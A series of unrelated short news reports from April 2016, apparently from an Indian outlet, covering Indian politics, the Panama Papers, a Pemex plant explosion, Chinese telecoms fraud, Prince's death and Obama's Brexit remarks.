"If they had allowed themselves to be misused by the Congress Party, then they should be dismissed from the service. As on date, both the BJP and the Congress are playing politics, which is a frank opinion of the accused, who were trapped in the 2006 and 2008 Malegaon blasts," he said.
New Delhi: A one-man inquiry panel of the Home Ministry, probing the missing files related to the case of alleged fake encounter of Ishrat Jahan, has been asked to expedite its work and finish the task at the earliest.

Union Home Secretary Rajiv Mehrishi is believed to have told Additional Secretary in the Home Ministry BK Prasad to speed up the probe and file a report at the earliest as the government may have to face queries of MPs in the coming session of Parliament beginning Monday, official sources said.

Top Home Ministry officials are of the opinion that the files were misplaced and could be found if a concerted effort is made.

Prasad, a Tamil Nadu cadre IAS officer, is retiring on May 31 and the government wants the task given to him to be completed as early as possible.

Government does not want any delay in finding the files and wants a quick report and Prasad has been told this in clear terms, the sources said.

The panel, constituted on March 14 following an uproar in Parliament, was asked to inquire into the circumstances in which the files related to the case of Ishrat Jahan, who was killed in an alleged fake encounter in Gujarat in 2004, went missing.

The panel was asked to find out the person responsible for keeping the files and relevant issues.

The papers which went missing from the Home Ministry include the copy of an affidavit vetted by the Attorney General and submitted in the Gujarat High Court in 2009 and the draft of the second affidavit vetted by the AG on which changes were made.

Two letters written by the then Home Secretary GK Pillai to the then Attorney General late GE Vahanvati and the copy of the draft affidavit have so far been untraceable.
Pune: The Pune Police has asked organisers of the rally of Jawaharlal Nehru University (JNU) Students' Union president Kanhaiya Kumar to fulfill certain pre-conditions for permission for the event.

Kanhaiya Kumar is scheduled to hold a rally in Pune on April 24.

According to Progressive Students Youth Action Committee, which has invited Kumar, the notice given by the Pune Police was a ruse to deny permission.

"We had decided to hold the event on the premises of Rashtra Seva Dal and had sought permission from police. Police served us a notice late last night (April 20), and we have been asked to fulfil certain pre-conditions," said Girish Phonde, a member of the organising committee.

The organisers have been asked by the police to conduct "fire and structural audit" of the venue, which has the sitting capacity of not more than 400.

They have also been warned of a chaos if more people turn up at the event.

It also asked the organisers to provide enough parking space, and warned of law and order issues because of anti-social elements in the area.

Phonde alleged that these were "pressurising tactics" and a ruse to deny the permission.

"We are determined to hold the rally and more and more people will attend it. We are thinking of changing the venue," he said.

On April 21, police issued a fresh notice saying the permission will be denied if the conditions were not fulfilled, he said.

A senior police official told PTI, "We are committed to giving adequate security to the event to avoid untoward incidents. But the organisers should fulfil the conditions as asked by the local police station."

When organisers applied for permission four to five days ago, they had not mentioned the venue, he said.

"After we came to know about the venue, we visited the place and found that it's a very congested area and that's why certain preconditions were prescribed," he said.

(With PTI inputs)
Nashik: Bhumata Ranragini Brigade president Trupti Desai, who started the campaign for women's entry to all places of worship in January, on Friday offered prayers at the inner sanctum of Trimbakeshwar temple, one of the 12 'Jyotirlingas' in the country, after being briefly stopped at gate.

Talking to reporters afterwards, Desai said she prayed to God that the way she was allowed to offer prayers at inner sanctum today, women across nation be allowed respectfully in all temples.

She also said that the activists would take their fight to national level and will meet PM Narendra Modi next month.

Heralding a major change, seven women activists led by the Swarajya Mahila Sanghatana (SMS) president Vanita Gutte were on Thursday allowed to enter the temple here even as locals observed a protest shutdown.

Amid tight security provided by police, three of them stepped inside the sanctum sanctorum and offered prayers, signalling a tectonic shift in the temple policy.

This happened 13 days after women were permitted entry into the Shani Shingnapur temple in Ahmednagar district on April 8 -- for the first time in over four centuries.
California: Internet giant Google has asserted that its Artificial Intelligence(AI) and cloud computing is the most lucrative and promising businesses in the tech industry.

That AI type of service-based business is fast becoming the new way to reap profits in the tech industry, the California-based tech giant said.

"We've always been doing cloud, it's just that we've been consuming it all internally at Google. But as we have grown, really matured in how we handle our data center investments and how we can do this at scale, we have definitely crossed over to the other side to where we can thoughtfully serve external customers," Google CEO Sundar Pichai said.

"We have been investing in machine learning and AI for years, but I think we're at an exceptionally interesting tipping point where these technologies are really taking off. That is very, very applicable to businesses as well. So thoughtfully doing that externally we view as a big differentiator we have over others," Pichai added.

Artificial intelligence (AI) is the intelligence exhibited by machines or software. It is also the name of the academic field of study which studies how to create computers and computer software that are capable of intelligent behaviour. Major AI researchers and textbooks define this field as the study and design of intelligent agents, in which an intelligent agent is a system that perceives its environment and takes actions that maximize its chances of success.
Zee Media Bureau

New Delhi: All of us might have of many things that are beyond believe but this is something that is truly unbelievable. Did you ever think about the fact that chimpanzees shop in a similar manner as humans do? No, it's something unprecedented.

In a research conducted at Dartmouth College in the US, researchers have arrived at a conclusion that chimps too use their sensory powers to evaluate and choose figs.

The study demonstrates the foraging advantages of opposable fingers and careful manual prehension (the act of grasping an object with precision).

The findings shed new light on the ecological origins of hands with fine motor control, a trait that enabled our early human ancestors to manufacture and use stone tools.

The supreme dexterity of the human hand is unsurpassed among mammals, a fact that is often linked to early tool use," said lead author Nathaniel J Dominy, professor of anthropology at Dartmouth College in the US.

For the study, Dominy and his colleagues observed the foraging behaviours of chimpanzees, black-and-white colobus monkeys, red colobus monkeys and red-tailed monkeys in Kibale National Park, Uganda.

The primates depended on figs. To determine if the green figs are edible, chimpanzees ascend trees and make a series of sensory assessments.

They look at the fig's colour, smell the fig, manually palpate or touch each fig to assess the fruit's elasticity and bite the fig to determine the stiffness of the fruit.

Colobus monkeys do not have thumbs and evaluate the ripeness of figs by using their front teeth.

The team observed the non-selection, rejection and ingestion of individual figs by chimps and collected specimens of figs.

Based on the sensory data obtained, the team estimated the predictive power that sensory information may have on chimpanzees when estimating the ripeness of figs.

(With IANS inputs)
Kathmandu: Nepal government on Friday made a fresh appeal to Madhesis to seek peaceful solution to the political crisis through talks even as the agitating parties announced nationwide protests beginning next week in their new bid to continue their struggle against the Constitution.

Deputy Prime Minister Bijay Kumar Gachchhadar, a senior Madhesi leader himself, called the Terai-centric parties to the negotiating table.

Talking to reporters at Biratnagar Airport in eastern Nepal, Gachchhadar said there was no alternative to holding talks and that the demands of Madhesis - largely of Indian- origin - could only be resolved through Constitution amendment.

Gachchhadar, who is also the chair of the Madhesi People's Rights Forum (Democratic) - the only Madhesi party in the coalition government but not part of the agitation, said that the government was continuing talks with all sides as consensus and collaboration among the major parties was essential to implement the Constitution.

His remarks came on a day when the Federal Alliance, an alliance of the agitating seven Madhes-based parties and other ethnic political groups, unveiled fresh protest programmes to press for their demands of greater representation and more rights to the ethnic minorities of southern Nepal.

As per the protest plan, the alliance will picket Singha Durbar, the main administrative building of the country, situated in the capital on May 14.

The alliance has decided to launch fresh protest programmes for 15 days which will be organised in all three geographical regions - Terai, Hill and Mountain.

As per the protest plan, the alliance will submit protest note on April 27 and put up black flags at government offices on April 29. Likewise, protest assemblies will be held in several other districts.

The Madhesi parties led the six months-long violent agitation, mainly to protest against the seven-province federal model enshrined in the Constitution.

Nearly 60 people lost their lives during the agitation that also disrupted the supplies of petroleum products and cooking gas among other essentials to Nepal, leading to severe hardships to the people. The agitation, however, ended unexpectedly in February just before Prime Minister K P Sharma Oli's maiden visit to India without any political agreement.
Islamabad: Amidst the Panama Papers leak row, Prime Minister Nawaz Sharif has emerged as one of the richest politicians in Pakistan with a personal assets of Rs 2 billion, an increase of over a billion in just four years.

The Election Commission yesterday released the assets statements of Sharif for 2015 who as per law update the election body about their wealth.

The value of the assets owned by Sharif and his spouse comes to around Rs 2 billion an increase of over a billion in just four years.

However, he does not own any property abroad.

The value of his assets in 2011 was Rs 166 million, which swelled to Rs 261.6 million in 2012 and then to Rs 1.82 billion in 2013, making him a declared billionaire.

The Election Commission said that Sharif received over Rs 215 million from his son Hussain Nawaz in 2015. He had previously received remittances from his son, worth Rs 239 million and Rs 197.5 million in 2014 and 2013 respectively.

The prime minister is among the few billionaires in the National Assembly, the others being Petroleum Minister Shahid Khaqan Abbasi and Khyber Pakhtunkhwa lawmakers Khayal Zaman and Sajid Hussain Toori.

The Prime Minister owns a Toyota Land Cruiser, gifted to him by an unspecified individual, as well as two Mercedes vehicles, the Dawn reported.

The house he lives in is owned by his mother. He also has multiple foreign and local currency accounts, huge swathes of agricultural land and investments in industrial units such as sugar, textile and paper mills. He also declared, for the first time, ownership of birds and animals worth Rs 2 million.

His wife, Kulsoom Nawaz, has land and a house in Changa Gali, Abbottabad, that is worth Rs 80 million, a bungalow on The Mall in Murree, worth Rs 100 million, as well as shares in the family business.

The statements of assets were released amidst the ongoing controversy around the Panama Papers leak that has reportedly exposed the secret offshore dealings of around 140 political figures globally.

Three of Sharif's children were named in the 'Panama Papers' as having offshore holdings.

Sharif's two sons - Hassan and Hussain - live abroad and believed to be billionaires in their own right.

Sharif's son-in-law, retired Captain Mohammad Safdar, has only listed one property and 550 grams of jewellery in the name of his wife, Sharif's daughter Maryam Safdar.

Property owned by Safdar, according to the ECP statement, is a BMW car, which was gifted to her by someone in the UAE, while her jewellery is worth Rs 1 million.

Another wealthy person from the Sharif family is Hamza Shahbaz Sharif, the prime minister's nephew and son of Punjab Chief Minister Shahbaz Sharif, having a net worth of Rs 342.6 million.
Hyderabad: The Telangana State Board of Intermediate Examination will announce the results of the 1st Year and 2nd Year General Results as well as Vocational Results on Friday.

The BIE Telangana / TS Board Intermediate 1st Year / 2nd Year Examination Results 2016 are expected to be declared by 11 am.

Candidates have been waiting for the Telangana BIE Class 12 Results 2016 ever since they appeared for the examinations in March.

The Telangana Inter Results 2016 will be available on the official websites: results.cgg.gov.in, tsbie.cgg.gov.in, bietelangana.cgg.gov.in and bie.telangana.gov.in.

Nearly 9.5 lakh students had appeared in the BIE first and second year inter exams in March.

According to Board officials, Deputy Chief Minister and Minister for Education Kadiam Srihari will release the results at 11 am.
Hyderabad: The ruling TRS has decided to nominate minister Tummala Nageswara Rao for the Palair Assembly constituency in Khammam district of Telangana.

The notification for the bypoll to the Palair Assembly constituency would be issued on Friday and polling will be held on May 16, the Election Commission announced.

The bypoll is necessitated by the death of senior Congress MLA and former minister Ramreddy Venkata Reddy.

The bypoll assumed significance after the TRS decided to field Roads and Buildings Minister Tummala Nageswara Rao, who is an MLC now.

Congress had earlier appealed to the other parties to let a family member of Venkata Reddy elected unopposed in view of the "services and clean image" of the departed leader.

Telangana Congress president N Uttam Kumar Reddy has called up his Telugu Desam Party counterpart L Ramana and sought the cooperation of the party in the bypoll, TDP said in a release today.

Ramana has promised to get back to the PCC president after consulting TDP chief and AP Chief Minister N Chandrababu Naidu, it said.

TDP leaders in Khammam district, however, had earlier discussed the name of former MP Nama Nageswara Rao but the party has not made any official announcement on the matter.

The former MP and Tummala Nageswara Rao were understood to be at loggerheads when the latter was in TDP.

Besides TDP, the Left parties and YSR Congress also have significant presence in Khammam district.

The TRS has been on a winning streak, since it assumed power in the 2014 elections, emerging victorious in the bypolls held for Warangal Lok Sabha and Narayankhed assembly constituencies and also the civic body elections in Hyderabad.
Agra: We have so far heard women calling off their marriages over dowry demands and lack of toilets in their marital homes, however, this time, two sisters backed out of the weddings after learning that the men they were set to marry are dark complexioned.

The incident took place in Sikrara village of Fatehabad block on Wednesday night.

The would-be-brides had only seen photographs of their grooms, said the police.

Vinay Prakash, SHO, Fatehabad, informed that their mother had chosen the grooms on the recommendation of a local baba.

According to police, when the two sisters saw the men for the first time on Wednesday night, they refused to marry them, saying they looked much darker and older.

Prakash was quoted as saying by Times of India that the two sisters stood off pressure from their extended families and the panchayat with the support of their maternal grandparents, and forced the both grooms to return to their homes in Aligarh.
New Delhi: BJP on Friday said the Supreme Court's stay on the Uttarakhand High Court order has "halted" the piquant situation created in the state and claimed Congress has much to answer for the political crisis there.

"There was a piquant situation created by the high court order and a prayer was made to the Supreme Court for a stay on its operation and restoring the situation where the governor was in charge of the state.

"It (Supreme Court's) is definitely an important order because it halts the piquant situation created in Uttarakhand whereby the Chief Minister immediately and without an order in writing available called a Cabinet meeting and started taking decisions," party spokesperson Nalin Kohli said.

Kohli is also a member of the legal team representing the Centre in the case.

The apex court has obviously appreciated the Centre's arguments and that is why it stayed the high court order's operation till the next date of hearing on April 27.

He said Rawat and Congress will have to answer a lot of questions as he accused the former chief minister of suppressing the fact that 27 MLAs of BJP in the state had demanded in writing a division of votes on March 18 over the passage of Appropriation bill in the Assembly.

Rawat's counsel later admitted to it, he said.

BJP spokesperson Sudhanshu Trivedi also dismissed Congress's charge that BJP was behind the rebellion in its ranks and saying the Opposition party has always faced desertion by its senior leaders whenever it was out of power in the Centre.

"Congress breaks whenever it is not in power," he claimed.

He cited a number of examples, including the decision to then senior party leaders Arjun Singh and ND Tiwari to float a new party when Congress was out of power during 1998-2004.
Dehradun: In a big setback to Congress, the Supreme Court on Friday stayed the Uttarakhand High Court's order quashing the President's Rule in the state.

An apex court bench headed by Justice Dipak Misra reviewed the order of the High Court and stayed its verdict till April 27. The state High Court had yesterday set aside the Centre's rule imposed last month, saying Article 356 was imposed in the state contrary to the law laid down by Supreme Court.

Here are 10 developments in the story:

-The Centre argued before SC that Rawat heads a minority government and cannot remain in office.

-It claimed that last month, when Rawat presented the state's budget, nine Congressmen voted against it.

-The Centre claimed that the budget was therefore wrongly declared as cleared, when, in fact, most legislators had rejected it.

-The Uttarakhand High Court had on Thursday rejected that as justification for removing Rawat from office.

-The Centre introduced President's Rule one day before Rawat was to take a trust vote in March. -The timing of the Centre's move and its motives have been labeled suspect by judges.

-The nine Congress rebels have been disqualified from the assembly for defection. They want that decision reversed.

-The Supreme Court's stay is till April 27, two days before Mr Rawat is to take a trust vote.

-The amount of votes Harish Rawat needs on his side depends on the total number of legislators or overall strength in the assembly.

-Without the rebels taking part, he needs 31 votes which he can manage easily with the support of other parties. If the nine Congress dissidents are not removed from the house, he needs 36 votes.

-The BJP in the state says that he will be defeated, and that it will then have the right to stake claim to form the next government.
Bally: Chief Minister Mamata Banerjee on Friday attacked the Opposition CPI-M, accusing it of leaving a "huge debt burden" on the ruling Trinamool Congress dispensation and claimed it would have "auctioned" the state if it were "in her place".

Addressing an election rally here, the West Bengal CM said, "CPI-M had left a debt burden of two lakh crore rupees when we came to power. Inspite of it Bengal has turned around during our rule. CPI-M would have auctioned Bengal if they were in my place," she told an election meeting here.

"Mother of thieves shout the most," she remarked for criticising her.

Launching a scathing attack on the opposition for unleashing sharp "criticism" against her, the TMC supremo said "Many leaders are saying many things against me but I never made any personal attack against anybody. It doesn't look nice for a human being to bite a dog," Mamata added.

Stating that it was her government that had ushered in development in the state, Banerjee said a "shilpa tirtha" (industrial hub) is being set up at Belur with Japanese collaboration in which Rs 6,800 crore would be invested and one lakh people would get employment.

Apart from this a textile park is also being set up at Belur in which Rs 3,000 crore is being invested, she said.

"The performance of our government will be a matter of research in the world one day," she said adding Bengal is number one in many fields including small scale industry sector, skill development and 100 days work.

(With Agency inputs)
Mexico City: The explosion that hit a plant of the Pajaritos Petrochemical Complex in eastern Veracruz state on Wednesday has left at least 13 people dead, the Mexican government said on Thursday.

"We visited the complex`s affected areas, and sadly, 13 people have died," wrote Luis Felipe Puente, the national coordinator of civil protection for the Interior Ministry, on his official Twitter account.

On Wednesday night, Pemex and the state government of Veracruz had confirmed an initial death toll of three and 136 others injured, of which 88 remained in hospital in the town of Coatzacoalcos.

Puente said on Twitter that he could not rule out further deaths due to the explosion, as emergency teams could still not enter a part of the plant due to the risk of collapse.

The explosion rocked the Clorados III plant at around 3:15 p.m. on Wednesday, forcing federal and state authorities to evacuate around 2,000 people for a number of hours from residential areas near the complex.

Clorados III is a plant belonging to the Petroquimica Mexicana de Vinilo (PMV) company, a joint venture between Pemex and Mexichem.

Until now, the federal government has not provided any potential causes for the explosion in the plant which produced vinyl chloride.

However, a Mexichem statement on Wednesday night said that air monitoring to detect any toxic substances had ruled out any threat.

Federal police have cordoned off the entire petrochemical complex, and experts began their investigation into the cause of the blast.
Lagos: Amnesty International on Friday accused Nigeria`s military of deliberately shooting dead more than 350 Shiite Muslims, burying them in mass graves and destroying evidence of the crime.

The rights group also dismissed as baseless army claims the protesters from the Islamic Movement of Nigeria (IMN) group wanted to kill the head of the army before the clashes last December.

The military, which has been repeatedly accused of abuses against civilians in its fight against Sunni Muslim jihadists Boko Haram, has maintained its troops acted appropriately.

There have been fears the military action against the Shiite group in Zaria could trigger another violent uprising similar to that of Boko Haram, whose insurgency has left some 20,000 dead since 2009.

Amnesty`s report -- "Unearthing the truth: unlawful killings and mass cover-up in Zaria" -- comes in the wake of conflicting claims about the violence in the northern city. Two days of violence began on December 12 when IMN supporters of the pro-Iranian cleric Ibrahim Zakzaky attending a religious ceremony refused to allow the chief of army staff`s convoy to pass.

Amnesty said its investigations indicated the military acted "unlawfully" by shooting "indiscriminately" at unarmed protestors.

"It is not clear why the army launched such a `military operation` in response to a law and order situation," the report said.

"The Nigerian army has provided no evidence to substantiate its claim that IMN protesters attempted to assassinate the Chief of Army Staff."

It added: "The Nigerian military burned people alive, razed buildings and dumped victims` bodies in mass graves."

Most of the evidence was "meticulously destroyed", Amnesty said, accusing soldiers of trying to cover up the carnage by limiting access to conflict sites.

"Bodies were taken away, sites were razed to the ground, the rubble removed, bloodstains washed off, and bullets and spent cartridges removed from the streets."

Soldiers sealed the areas around Zakzaky`s compound, which was destroyed with a cultural centre, and the site of the street protests for several days.

Medical personnel at the Ahmadu Bello University Teaching Hospital said the military cordoned off the area around the morgue for two days.A Nigerian public official said last week that 347 people, including women and children, were buried in a mass grave under military supervision and authorised with a court warrant.

The testimony came at one of several public inquiries set up to investigate the circumstances of the violence, which has led to scores of IMN supporters being charged.

Nigerian media on Thursday said prosecutors in Kaduna were seeking the death penalty for 50 IMN members for killing a soldier in the initial incident in Zaria.

Amnesty provided satellite images purporting to show the location of a "possible mass grave" in the Mando area near the state capital, Kaduna city, approximately 80 kilometres (50 miles) away.

Despite President Muhammadu Buhari`s pledge to investigate evidence of war crimes, "to date no concrete steps have been taken to end endemic impunity for such crimes", Amnesty said.

Zakzaky, who lost one eye and was partly paralysed in the violence, has been held incommunicado since December without access to his lawyers until recently.

He has previously fallen foul of Nigeria`s secular authorities and been imprisoned for calling for an Iranian-style revolution to create an Islamic state in the north.
Beijing/Taipei: China is battling an explosion of telecoms fraud that has cost billions of dollars in financial losses and driven some victims to suicide, according to authorities in Beijing who say criminal gangs based in rival Taiwan are behind many of the scams.

Chinese state media has blamed weak punishments in the self-ruled island, and reported that Chinese-speaking fraudsters recruited in Taiwan were increasingly setting up operations in East Africa or Southeast Asia.

Despite political tensions, the two sides have in recent years cooperated on investigating such scams, but Taiwan says mainland authorities sometimes do not provide enough evidence for them to do anything.

"We are a democratic, rule of law country," said Chang Wen-yuan, a squadron chief with the Criminal Investigation Bureau, Taiwan`s top investigative agency.

"In this respect, we emphasise the proof or lack of evidence. You can`t just say, `today media reports the person committed a crime,` just like that."

Chang was speaking after China slammed Taiwan at the weekend for freeing 20 suspects deported to the island from Malaysia in a telecoms fraud case. Most were re-detained on Thursday, Taiwan prosecutors said.

TYPICAL OPERATION

While many of the reports in Chinese state media cannot be independently verified, the scale of the problem was underlined by another spat that erupted earlier this month when Kenya deported 45 people from Taiwan suspected of involvement phone fraud to China, prompting accusations of kidnapping from Taipei.

Chinese police said the case was typical of such operations, which often target the elderly, students or unemployed and involve a caller posing as some kind of government official.

According to details provided to state media, robotically delivered, pre-recorded messages were sent to people in mainland China claiming there was a problem with their medical insurance.

Those who responded were put through to one of multiple lines in a house in a Nairobi suburb, state news agency Xinhua said, where a bogus police officer following an elaborate script would tell the victim their bank accounts had been compromised and convince them to transfer money to a "safe" account.

Scammers have also been know to fake arrests or abductions of family members, or to try to convince victims that money was needed in legal disputes involving relatives.

China`s Public Security Ministry did not respond to a request for comment.

ARRESTING "MULES"

Chinese authorities registered 590,000 telecoms fraud cases in 2015, according to Public Security Ministry statistics cited by state media, up from about 100,000 in 2011, leading to losses of 22.2 billion yuan ($3.4 billion).

On average, more than 10 billion yuan ($1.5 billion) is swindled out of the mainland to Taiwan by telephone scammers every year, the official Xinhua news agency has reported.

Since 2011, Taiwan and the mainland have cooperated in investigating telecoms fraud in Indonesia, Cambodia, Philippines and other countries, arresting more than 7,700 suspects, including 4,600 from Taiwan, Xinhua said.

"Most of the people they are arresting are the mules," said Lennon Chang, a criminologist and expert in telecoms fraud at Monash University in Melbourne. "They are not the real leaders or heads of the criminal organised syndicates."

Chang said that telecoms fraud took hold in Taiwan in the early 1990s, before a crackdown prompted scammers to shift operations to Xiamen, a port in southeastern China that is just a few kilometres from the Taiwan-controlled island of Kinmen.

There, fraudsters could pick up Taiwan mobile phone signals to call Taiwanese victims, hiding behind the lack of law enforcement cooperation across the Taiwan Strait.

Later they began targeting the mainland, said Chang, but as the authorities in Taiwan and China began to collaborate the gangs were pushed to third countries, aided by advances in technology and moving frequently to make evidence collection harder.

TRANSNATIONAL RINGS

Chinese state media have reported harrowing tales of the victims of such scams.

The People`s Daily website reported one case in January in which a man from the central province of Henan who transferred 10,000 yuan ($1,500) to fraudsters hanged himself outside of a branch of the Agricultural Bank of China after the bank and police were unable to help him recover his money. He had been convinced to invest in a fake business.

Official Chinese news outlets have also run stories contrasting sentences in China, where life terms have been meted out for telephone fraud, with jail time of just a few years for similar crimes in Taiwan.

"...Because of Taiwan`s generally light penalties for telecoms fraud ... many suspects are not severely punished or not convicted," Xinhua said in an April 15 report.

Hong Chia-juan, a chief prosecutor in Taichung in central Taiwan, said in the past three to four years the district had investigated with China cases involving more than 970 mostly Taiwanese people suspected of telecoms fraud in third countries.

He said sentences for fraud in Taiwan ranged from one to seven years for each victim harmed, up to a maximum 30 years. Life sentences in China were often commuted after a few years for good behaviour, he added.
Tokyo: Dozens of Japanese lawmakers including a Cabinet minister visited a Tokyo war shrine on Friday in a ritual sure to anger China and South Korea, where memories of Japan`s military and colonial record remain raw.

The capital`s Yasukuni Shrine honours millions of Japanese dead, including several senior military and political figures convicted of war crimes after World War II.

The leafy central Tokyo shrine to Japan`s Shinto religion has for decades been a lightning rod for criticism by countries that suffered under Japan`s colonialism and aggression in the first half of the 20th century.

Visits to the shrine by senior Japanese politicians, including occasionally prime ministers, routinely draw an angry reaction from China and South Korea, which see it as a symbol of Tokyo`s militaristic past.

Prime Minister Shinzo Abe and other nationalists say the shrine is merely a place to remember fallen soldiers and compare it to burial grounds such as Arlington National Cemetery in the United States.

At least 92 lawmakers visited Yasukuni for its annual spring festival, of whom 79 were from Abe`s ruling Liberal Democratic Party, according to an official working for upper house of parliament member Toshiei Mizuochi.

Internal affairs minister Sanae Takaichi visited the shrine, though separately from the other lawmakers, according to footage shown on public broadcaster NHK.

The figure this time compares with the more than 100 lawmakers and three ministers who visited during last year`s spring event. For the shrine`s autumn festival six months ago 73 lawmakers and two ministers attended.

And on August 15, 2015 -- the 70th anniversary of the end of World War II -- two Cabinet ministers went to the shrine along with about 60 lawmakers.

Abe`s wife, Akie, also visited Yasukuni in December.

Friday`s visit by the lawmakers came a day after Abe made a ritual offering to the shrine.

Abe went in December 2013 to mark his first year in power, a pilgrimage that sparked fury in Beijing and Seoul and earned him a diplomatic rebuke from the United States, which said it was "disappointed" by the action.

He has since refrained from going and reaction by China and South Korea to the latest visit by the parliamentarians is expected to be muted as Japan has taken steps over the past 18 months or so to improve relations with both countries and Abe has held summit meetings with their leaders.
Mexico: At least 13 people died after a leak caused a deadly petrochemical plant blast, and the death toll could still rise, Mexican oil giant Pemex said on Thursday, the latest in a series of fatal accidents to batter the company.

Pemex CEO Jose Antonio Gonzalez Anaya, who travelled to the site of Wednesday`s blast near the port of Coatzacoalcos, one of Pemex`s top oil export hubs, told local television it was unclear what caused the accident.

The massive explosion at the facility`s chlorinate 3 plant in the Gulf state of Veracruz also injured 136 people, 13 of them seriously. Another 18 people were unaccounted for, and one badly damaged part of the plant had yet to be scoured.

"We know there was a leak, what we don`t know is why, but everything points to an accident," Gonzalez Anaya said.

The odour of ammonia filled the air and the plants` turbines still streamed gray smoke on Thursday afternoon, where local and municipal police, as well as marines, blocked the entrance to the facility.

Most officials wore blue face masks to protect against the fumes, while family members crowded around, their faces uncovered, demanding more information on missing relatives and at times throwing objects at the officials or pushing them.

"We are desperate because no-one is coming out to show their face," said Ancelma Cordero, 49, whose 21-year-old brother is one of the missing and has not responded to his cellphone.

She said she had been waiting since the prior night and her head was starting to hurt.

"They told us we were breathing toxins and we should leave," she said of authorities. "But ... if we leave, they could make the bodies disappear."

Calling it a "tragic accident," President Enrique Pena Nieto said he would head to the region to attend to victims.

The blast occurred at a vinyl petrochemical plant that is a joint venture between Pemex`s petrochemical unit and majority owner Mexican plastic pipe maker Mexichem . Pemex operates the larger petrochemical complex where the plant was located, known as Pajaritos. Shares in Mexichem closed 5.2 percent lower on Thursday.

"This is neither the time for excuses nor finding those to blame," Juan Pablo del Valle, Mexichem`s chairman, said on Twitter. "It is the time to tend to the injured, be accountable and support all those affected."

In February, a fire killed a worker at the same plant, which makes vinyl chloride monomer, also known as chloroethene, an industrial chemical used to produce plastic piping.

The explosion was the latest in a litany of safety disasters that have plagued the state oil giant, which is trying to stem the bleed of sliding output and slash costs as it creaks under the pressure of low crude prices.

In 2013, at least 37 people were killed by a blast at its Mexico City headquarters, and 26 people died in a fire at a Pemex natural gas facility in northern Mexico in September 2012.

A 2015 fire at its Abkatun Permanente platform in the oil-rich Bay of Campeche affected oil output and cost the company up to $780 million.

Pemex said last year it had reduced its annual accident rate in 2014 by more than 33 percent. But a Reuters investigation found that Pemex was reducing its accident rate by including hours worked by office staff in its calculations.
Panama City: Panamanian authorities launched a new raid Friday on an address linked to the law firm at the heart of the Panama Papers scandal, local media reported.

Prosecutors focused on organized crime "carried out a raid on a storage property belonging to the firm Mossack Fonseca," La Prensa newspaper said, publishing a photo of people putting documents into a vehicle.

Officials in the public ministry confirmed to AFP that a raid "is under way" but did not provide further details.

It was the second raid in as many weeks on Mossack Fonseca in Panama. On April 12, the same prosecutorial unit swooped on the firm`s main offices for a search that lasted 27 hours.

Officials said after that first raid that no evidence was uncovered to support charges. They added that the firm kept its records on more than 100 servers located at different addresses.

Mossack Fonseca is a discreet law firm based in Panama and founded by two local, well-connected lawyers specialized in creating and fronting offshore companies for the world`s wealthy.

Forty years of its digital archives were handed to a pair of German journalists who organized a worldwide media investigation of the documents they contained.

That has led to numerous scandals as the names of sovereigns, politicians, sporting stars, celebrities and some criminals have come to light, and as the breadth of tax evasion has emerged.

Mossack Fonseca insists it did nothing illegal and says its servers were hacked from abroad, making it a victim of cybertheft.

But authorities in Panama are promising to adopt global standards on sharing tax information, which would impact the way Mossack Fonseca has done business.
London: Hundreds of ISIS fighters retreating from the battlefield in Iraq have reportedly stormed a wildlife sanctuary in the war-torn country and stolen some 7,000 black-tailed gazelles so they could slaughter them later when their traditional meat source dries up.

According to a MailOnline report, the militants have drugged the animals before loading them in a truck so they could transport them across the border in Syria.

The ISIS fighters are treating from the country due to the strong offensive from the Iraqi army and the allied troops.

The terror group had last month withdrew from Rutba, a city in western Iraq 90 miles from the Jordanian border.

The city is close to a wildlife preserve, which is home to thousands of gazelles, also known as black-tailed gazelles.

An official has accused the ISIS of stealing thousands of gazelles from the wildlife preserve.

He said that they have put sedatives in the waterholes in order to the drug the animals.

It is assumed that the terror group plans to slaughter them and eat them if their regular meat supplies dry up.

Citing Iraqi official sources, the report said that the outfit have stolen around 7,000 gazelles from the preserve, a vast swath of land that stretches as far as the border with Saudi Arabia.
Washington: US President Barack Obama has led his countrymen in mourning the death of legendary pop star Prince, whom he described as the "most gifted and prolific" musician of his time.

"Today, the world lost a creative icon," Obama, who is currently on a three-nation six-day tour of Saudi Arabia, the UK and Germany, said in a statement yesterday.

Pop music superstar Prince Rogers Nelson popular as Prince was found dead at his home in suburban Minneapolis yesterday. He was 57.

"Michelle and I join millions of fans from around the world in mourning the sudden death of Prince. Few artists have influenced the sound and trajectory of popular music more distinctly, or touched quite so many people with their talent.

"As one of the most gifted and prolific musicians of our time, Prince did it all. Funk. R&B. Rock and roll. He was a virtuoso instrumentalist, a brilliant bandleader, and an electrifying performer," he said.

"Prince once said 'A strong spirit transcends rules' -- and nobody's spirit was stronger, bolder, or more creative. Our thoughts and prayers are with his family, his band, and all who loved him," Obama said.

According to local police officials, legendary Prince was found unresponsive in an elevator yesterday. An autopsy is planned today.

In 2004, he was inducted into the Rick 'n' Roll of Fame.

Upon hearing the news, mourners began lining up with flowers and stuffed animals outside the studio on Audubon Road, some sobbing and embracing, The Star Tribune reported.

"Our hearts are broken," said First Avenue music club in Downtown Minneapolis.
Windsor: US President Barack Obama appealed directly to British voters on Friday to remain in the European Union, saying membership had magnified Britain`s place in the world and made the bloc stronger and more outward looking.



Obama, who opinion polls show is popular in Britain, applauded Britain`s EU membership which he said had helped make the world freer, richer and better able to tackle everything from migration to terrorism.



Invoking the interlinked history of the United States and Britain and the tens of thousands of Americans lying in European war graves, Obama implored voters to weigh the benefits of membership ahead of a June 23 referendum.



"The European Union doesn`t moderate British influence - it magnifies it," Obama wrote in The Daily Telegraph, a eurosceptic British newspaper.



"As your friend, I tell you that the EU makes Britain even greater," the headline of Obama`s article read.



His remarks, which led television news broadcasts in Britain, undercut one of the most passionate arguments of the opponents of EU membership: that Britain could prosper on an equal basis with global powers such as the United States.



A spokeswoman for Prime Minister David Cameron welcomed Obama`s intervention, but the president`s comments drew scorn from opponents of Britain`s EU membership.



New York-born London Mayor Boris Johnson, a leader of the "Out" campaign who hints he wants Cameron`s job, derided Obama`s arguments in a newspaper column that referred to "the part-Kenyan Presidents ancestral dislike of the British empire".



John McDonnell, the opposition Labour Party`s finance policy chief, called Johnson`s remarks "dog-whistle racism".



The White House declined to comment and a spokesman for Johnson did not respond to requests for comment.

"STICK TOGETHER"



Obama said Britain`s closest ally wanted it to remain in the club it joined in 1973 to bolster trade and strengthen the 28-member bloc, which Washington views as a pillar of stability in the post-World War Two era.



The US government, and many US banks and companies, fear a Brexit would cause market turmoil, diminish the clout of Washington`s strongest European ally, hurt London`s global financial hub status, cripple the EU and weaken Western security.



